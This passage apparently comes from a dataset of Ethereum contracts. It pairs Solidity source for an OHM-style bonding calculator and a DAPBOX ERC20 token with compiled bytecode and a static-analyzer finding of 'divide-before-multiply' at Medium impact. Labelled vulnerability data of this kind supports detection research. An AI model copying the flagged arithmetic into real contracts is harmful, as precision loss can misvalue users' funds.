(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == OHM ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( OHM ).decimals() ) ).div( getTotalValue( _pair ) );
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f146100b4578063490084ef14610116578063686375491461016e578063a6c41fec146101c6575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101fa565b6040518082815260200191505060405180910390f35b610100600480360360408110156100ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061047b565b6040518082815260200191505060405180910390f35b6101586004803603602081101561012c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610556565b6040518082815260200191505060405180910390f35b6101b06004803603602081101561018457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610904565b6040518082815260200191505060405180910390f35b6101ce610931565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561024557600080fd5b505afa158015610259573d6000803e3d6000fd5b505050506040513d606081101561026f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89973ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561033857600080fd5b505afa15801561034c573d6000803e3d6000fd5b505050506040513d602081101561036257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103975781905061039b565b8290505b6104716103a786610904565b6104637f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89973ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561041057600080fd5b505afa158015610424573d6000803e3d6000fd5b505050506040513d602081101561043a57600080fd5b810190808051906020019092919050505060ff16600a0a6002028461095590919063ffffffff16565b6109db90919063ffffffff16565b9350505050919050565b60008061048784610904565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d157600080fd5b505afa1580156104e5573d6000803e3d6000fd5b505050506040513d60208110156104fb57600080fd5b8101908080519060200190929190505050905061054c670de0b6b3a764000061053e61052f61052a8886610a25565b610d06565b8561095590919063ffffffff16565b6109db90919063ffffffff16565b9250505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561059f57600080fd5b505afa1580156105b3573d6000803e3d6000fd5b505050506040513d60208110156105c957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d602081101561064957600080fd5b810190808051906020019092919050505060ff16905060008373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d602081101561075157600080fd5b810190808051906020019092919050505060ff16905060006108118573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b257600080fd5b505afa1580156107c6573d6000803e3d6000fd5b505050506040513d60208110156107dc57600080fd5b810190808051906020019092919050505060ff166108038486610d4290919063ffffffff16565b610dca90919063ffffffff16565b90506000808673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561085c57600080fd5b505afa158015610870573d6000803e3d6000fd5b505050506040513d606081101561088657600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506108f883600a0a6108ea838561095590919063ffffffff16565b6109db90919063ffffffff16565b95505050505050919050565b600061092a600261091c61091785610556565b610e14565b61095590919063ffffffff16565b9050919050565b7f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89981565b60008083141561096857600090506109d5565b600082840290508284828161097957fe5b04146109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112146021913960400191505060405180910390fd5b809150505b92915050565b6000610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e84565b905092915050565b610a2d6111bc565b60008211610a86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b6000831415610ac457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050610d00565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311610bfd57600082607060ff1685901b81610b1157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610bc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610d00565b6000610c19846e01000000000000000000000000000085610f4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610ccf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681610d3a57fe5b049050919050565b600080828401905083811015610dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100c565b905092915050565b60006003821115610e71578190506000610e39610e328460026109db565b6001610d42565b90505b81811015610e6b57809150610e64610e5d610e5785846109db565b83610d42565b60026109db565b9050610e3c565b50610e7f565b60008214610e7e57600190505b5b919050565b60008083118290610f30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef5578082015181840152602081019050610eda565b50505050905090810190601f168015610f225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3c57fe5b049050809150509392505050565b6000806000610f5986866110cc565b9150915060008480610f6757fe5b868809905082811115610f7b576001820391505b8083039250848210610ff5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b61100083838761111f565b93505050509392505050565b60008383111582906110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107e578082015181840152602081019050611063565b50505050905090810190601f1680156110ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110f957fe5b84860990508385029250828103915082811015611117576001820391505b509250929050565b600080826000038316905080838161113357fe5b04925080858161113f57fe5b049450600181826000038161115057fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122030f83e0ed85f0e017df1706cee83531dc0c311ef3fcf548ef4662e87081dd45064736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,108 |
0x8615ddfe9d4c9e58abff01c999731f3e9e556e80
|
pragma solidity ^0.4.25;
/*
* DAPCAR BOX Token (DAPBOX)
* Created by Starlag Labs (https://starlag.com)
* Copyright © Dapcar.io 2019. All rights reserved.
* https://dapcar.io
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Utils {
//constructor()
//internal
//{
//}
modifier greaterThanZero(uint256 _value)
{
require(_value > 0);
_;
}
modifier validUint(uint256 _value)
{
require(_value >= 0);
_;
}
modifier validAddress(address _address)
{
require(_address != address(0));
_;
}
modifier notThis(address _address)
{
require(_address != address(this));
_;
}
modifier validAddressAndNotThis(address _address)
{
require(_address != address(0) && _address != address(this));
_;
}
modifier notEmpty(string _data)
{
require(bytes(_data).length > 0);
_;
}
modifier stringLength(string _data, uint256 _length)
{
require(bytes(_data).length == _length);
_;
}
modifier validBytes32(bytes32 _bytes)
{
require(_bytes != 0);
_;
}
modifier validUint64(uint64 _value)
{
require(_value >= 0 && _value < 4294967296);
_;
}
modifier validUint8(uint8 _value)
{
require(_value >= 0 && _value < 256);
_;
}
modifier validBalanceThis(uint256 _value)
{
require(_value <= address(this).balance);
_;
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
constructor()
public
{
owner = msg.sender;
authorizeds[msg.sender] = Level.OWNER;
authorizedCount = authorizedCount.add(1);
}
modifier onlyOwner {
require(authorizeds[msg.sender] == Level.OWNER);
_;
}
modifier onlyOwnerOrThis {
require(authorizeds[msg.sender] == Level.OWNER || msg.sender == address(this));
_;
}
modifier notOwner(address _address) {
require(authorizeds[_address] != Level.OWNER);
_;
}
modifier authLevel(Level _level) {
require((authorizeds[msg.sender] > Level.ZERO) && (authorizeds[msg.sender] <= _level));
_;
}
modifier authLevelOnly(Level _level) {
require(authorizeds[msg.sender] == _level);
_;
}
modifier notSender(address _address) {
require(msg.sender != _address);
_;
}
modifier isSender(address _address) {
require(msg.sender == _address);
_;
}
modifier checkLevel(Level _level) {
require((_level > Level.ZERO) && (Level.DAPP >= _level));
_;
}
function transferOwnership(address _newOwner)
public
{
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
OwnerTransferred(owner, newOwner);
if (authorizeds[owner] == Level.OWNER) {
delete authorizeds[owner];
}
if (authorizeds[newOwner] > Level.ZERO) {
authorizedCount = authorizedCount.sub(1);
}
owner = newOwner;
newOwner = address(0);
authorizeds[owner] = Level.OWNER;
}
function cancelOwnership()
onlyOwner
public
{
newOwner = address(0);
}
function authorized(address _address, Level _level)
public
{
_authorized(_address, _level);
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
if (authorizeds[_address] == Level.ZERO) {
authorizedCount = authorizedCount.add(1);
}
authorizeds[_address] = _level;
Authorized(_address, _level);
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
if (authorizeds[_address] > Level.ZERO) {
authorizedCount = authorizedCount.sub(1);
}
delete authorizeds[_address];
UnAuthorized(_address);
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
return authorizeds[_address];
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
require(_value <= balances[msg.sender]);
_;
}
modifier validBalanceFrom(address _from, uint256 _value)
{
require(_value <= balances[_from]);
_;
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
require(balances[_to] <= balances[_to].add(_value));
_;
}
//constructor()
//internal
//{
//}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupply_;
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
return _transfer(_to, _value);
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
return _transferFrom(_from, _to, _value);
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
return balances[_owner];
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
return _approve(_spender, _value);
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
delete allowed[msg.sender][_spender];
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = false;
bool public autoFreeze = false;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
require(frozeds[msg.sender] == false || freezeEnabled == false);
_;
}
modifier notFreezeFrom(address _from)
{
require((_from != address(0) && frozeds[_from] == false) || freezeEnabled == false);
_;
}
modifier canMint
{
require(!mintFinished);
_;
}
//constructor()
//internal
//{
//}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
if (!frozeds[_address]) {
frozeds[_address] = true;
frozedCount = frozedCount.add(1);
Freeze(_address);
}
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
if (frozeds[_address]) {
delete frozeds[_address];
frozedCount = frozedCount.sub(1);
UnFreeze(_address);
}
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
PropsChanged(msg.sender, "freezeEnabled", freezeEnabled, _freezeEnabled);
freezeEnabled = _freezeEnabled;
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
PropsChanged(msg.sender, "autoFreeze", autoFreeze, _autoFreeze);
autoFreeze = _autoFreeze;
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
return bool(frozeds[_address]);
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
ITokenRecipient spender = ITokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
ApproveAndCall(_spender, _value, _extraData);
return true;
}
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
IERC20 token = IERC20(_token);
require(token.transferFrom(_spender, address(this), _value));
ReceiveTokens(_spender, _token, _value, _extraData);
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
mintFinished = true;
MintFinished(msg.sender);
return true;
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
balances[_address] = balances[_address].add(_value);
totalSupply_ = totalSupply_.add(_value);
Transfer(0, _address, _value);
if (freezeEnabled && autoFreeze && _address != address(this) && isAuthorized(_address) == Level.ZERO) {
if (!isFreeze(_address)) {
frozeds[_address] = true;
frozedCount = frozedCount.add(1);
Freeze(_address);
}
}
Mint(0, _address, _value);
return true;
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(msg.sender, address(0), _value);
if (isFreeze(msg.sender)) {
delete frozeds[msg.sender];
frozedCount = frozedCount.sub(1);
UnFreeze(msg.sender);
}
Burn(msg.sender, _value);
return true;
}
}
contract DAPBOXToken is FrozenToken {
string public name = "DAPCAR BOX Token";
string public symbol = "DAPBOX";
uint8 public decimals = 0;
string public version = "0.1";
string public publisher = "https://dapcar.io";
string public description = "This is an official DAPCAR BOX Token (DAPBOX)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
//constructor()
//internal
//{
//}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
version = _version;
publisher = _publisher;
description = _description;
InfoChanged(msg.sender, _version, _publisher, _description);
}
function withdraw()
public
returns (bool success)
{
return withdrawAmount(address(this).balance);
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
address wallet = owner;
if (acceptAdminWithdraw) {
wallet = msg.sender;
}
Withdraw(msg.sender, wallet, address(this).balance);
wallet.transfer(address(this).balance);
return true;
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
address wallet = owner;
if (acceptAdminWithdraw) {
wallet = msg.sender;
}
bool result = IERC20(_token).transfer(wallet, _amount);
if (result) {
WithdrawTokens(msg.sender, wallet, _token, _amount);
}
return result;
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
return IERC20(_token).balanceOf(address(this));
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
PropsChanged(msg.sender, "acceptAdminWithdraw", acceptAdminWithdraw, _accept);
acceptAdminWithdraw = _accept;
return true;
}
function ()
external
payable
{
if (acceptDonate) {
donate();
}
}
function donate()
greaterThanZero(msg.value)
internal
{
Donate(msg.sender, msg.value);
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
PropsChanged(msg.sender, "acceptDonate", acceptDonate, _accept);
acceptDonate = _accept;
return true;
}
}
|
0x60806040526004361061022f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630459901281146102495780630562b9f71461027c57806306b091f9146102a857806306fdde03146102cc578063095ea7b31461035657806313270bb81461037a57806318160ddd1461038f57806323b872dd146103a45780632bda04c5146103ce578063313ce567146103e35780633ccfd60b1461040e5780633e2fce371461042357806340c10f191461043d57806342966c68146104615780634e2808da1461047957806354fd4d501461048e5780635d82ddc8146104a357806366188463146104b857806370a08231146104dc5780637284e416146104fd57806375143ef21461051257806379ba509714610527578063807a599c1461053c57806383cfab421461055157806383df7d21146105725780638b5a17df1461058c5780638c72c54e146105a15780638d1fdf2f146105b65780638da5cb5b146105d75780638e818aa1146106085780638ef5ae211461061d5780638f4ffcb1146106f257806395d89b41146107625780639e060fb614610777578063a9059cbb14610791578063bdc742fc146107b5578063cae9ca51146107cf578063d4ee1d9014610838578063d73dd6231461084d578063dd62ed3e14610871578063e1ad855d14610898578063e41d0944146108b9578063eef4c016146108ce578063f2fde38b146108f5578063fe9fbb8014610916578063ff192bc81461095b575b601054610100900460ff16156102475761024761097c565b005b34801561025557600080fd5b5061026a600160a060020a03600435166109c3565b60408051918252519081900360200190f35b34801561028857600080fd5b50610294600435610a6f565b604080519115158252519081900360200190f35b3480156102b457600080fd5b50610294600160a060020a0360043516602435610ba3565b3480156102d857600080fd5b506102e1610d5d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561031b578181015183820152602001610303565b50505050905090810190601f1680156103485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036257600080fd5b50610294600160a060020a0360043516602435610deb565b34801561038657600080fd5b5061026a610e4a565b34801561039b57600080fd5b5061026a610e50565b3480156103b057600080fd5b50610294600160a060020a0360043581169060243516604435610e57565b3480156103da57600080fd5b50610294610eb8565b3480156103ef57600080fd5b506103f8610ec6565b6040805160ff9092168252519081900360200190f35b34801561041a57600080fd5b50610294610ecf565b34801561042f57600080fd5b506102476004351515610ee0565b34801561044957600080fd5b50610294600160a060020a0360043516602435610fcb565b34801561046d57600080fd5b5061029460043561120f565b34801561048557600080fd5b50610247611350565b34801561049a57600080fd5b506102e1611399565b3480156104af57600080fd5b506102946113f4565b3480156104c457600080fd5b50610294600160a060020a03600435166024356113fd565b3480156104e857600080fd5b5061026a600160a060020a0360043516611454565b34801561050957600080fd5b506102e1611489565b34801561051e57600080fd5b506102946114e4565b34801561053357600080fd5b506102476114f3565b34801561054857600080fd5b5061029461164c565b34801561055d57600080fd5b50610247600160a060020a03600435166116ba565b34801561057e57600080fd5b5061024760043515156117c4565b34801561059857600080fd5b5061026a6118a1565b3480156105ad57600080fd5b506102e16118a7565b3480156105c257600080fd5b50610247600160a060020a0360043516611902565b3480156105e357600080fd5b506105ec611a5f565b60408051600160a060020a039092168252519081900360200190f35b34801561061457600080fd5b50610294611a6e565b34801561062957600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261024794369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611a779650505050505050565b3480156106fe57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261024794600160a060020a03813581169560248035966044359093169536956084949201918190840183828082843750949750611cc29650505050505050565b34801561076e57600080fd5b506102e1611e69565b34801561078357600080fd5b506102946004351515611ec4565b34801561079d57600080fd5b50610294600160a060020a0360043516602435611f6e565b3480156107c157600080fd5b506102946004351515611fac565b3480156107db57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610294948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061209c9650505050505050565b34801561084457600080fd5b506105ec612289565b34801561085957600080fd5b50610294600160a060020a0360043516602435612298565b34801561087d57600080fd5b5061026a600160a060020a03600435811690602435166122ef565b3480156108a457600080fd5b50610247600160a060020a036004351661234b565b3480156108c557600080fd5b50610294612468565b3480156108da57600080fd5b50610247600160a060020a036004351660ff60243516612476565b34801561090157600080fd5b50610247600160a060020a0360043516612484565b34801561092257600080fd5b50610937600160a060020a0360043516612490565b6040518082600381111561094757fe5b60ff16815260200191505060405180910390f35b34801561096757600080fd5b50610294600160a060020a03600435166124e0565b346000811161098a57600080fd5b60408051348152905133917f0553260a2e46b0577270d8992db02d30856ca880144c72d6e9503760946aef13919081900360200190a250565b600081600160a060020a03811615156109db57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038516916370a082319160248083019260209291908290030181600087803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b50519392505050565b6000806002813360009081526002602052604090205460ff166003811115610a9357fe5b118015610ac85750806003811115610aa757fe5b3360009081526002602052604090205460ff166003811115610ac557fe5b11155b1515610ad357600080fd5b303160008111610ae257600080fd5b8460008111610af057600080fd5b853031811115610aff57600080fd5b600054601054600160a060020a03909116955060ff1615610b1e573394505b60408051303181529051600160a060020a0387169133917f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb9181900360200190a3604051600160a060020a03861690303180156108fc02916000818181858888f19350505050158015610b95573d6000803e3d6000fd5b506001979650505050505050565b600080806002813360009081526002602052604090205460ff166003811115610bc857fe5b118015610bfd5750806003811115610bdc57fe5b3360009081526002602052604090205460ff166003811115610bfa57fe5b11155b1515610c0857600080fd5b85600160a060020a0381161515610c1e57600080fd5b8560008111610c2c57600080fd5b600054601054600160a060020a03909116955060ff1615610c4b573394505b87600160a060020a031663a9059cbb86896040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610cc757600080fd5b505af1158015610cdb573d6000803e3d6000fd5b505050506040513d6020811015610cf157600080fd5b505193508315610d515787600160a060020a031685600160a060020a031633600160a060020a03167fc9e8848e763791df46dee01dfdd8f0eb58cd33dd15e0773146866af844e8f09b8a6040518082815260200191505060405180910390a45b50919695505050505050565b600a805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de35780601f10610db857610100808354040283529160200191610de3565b820191906000526020600020905b815481529060010190602001808311610dc657829003601f168201915b505050505081565b600082600160a060020a03811615801590610e1f5750600160a060020a03811660009081526007602052604090205460ff16155b80610e2d575060095460ff16155b1515610e3857600080fd5b610e428484612518565b949350505050565b60035481565b6006545b90565b600083600160a060020a03811615801590610e8b5750600160a060020a03811660009081526007602052604090205460ff16155b80610e99575060095460ff16155b1515610ea457600080fd5b610eaf858585612524565b95945050505050565b600954610100900460ff1681565b600c5460ff1681565b6000610edb3031610a6f565b905090565b600260003360009081526002602052604090205460ff166003811115610f0257fe5b118015610f375750806003811115610f1657fe5b3360009081526002602052604090205460ff166003811115610f3457fe5b11155b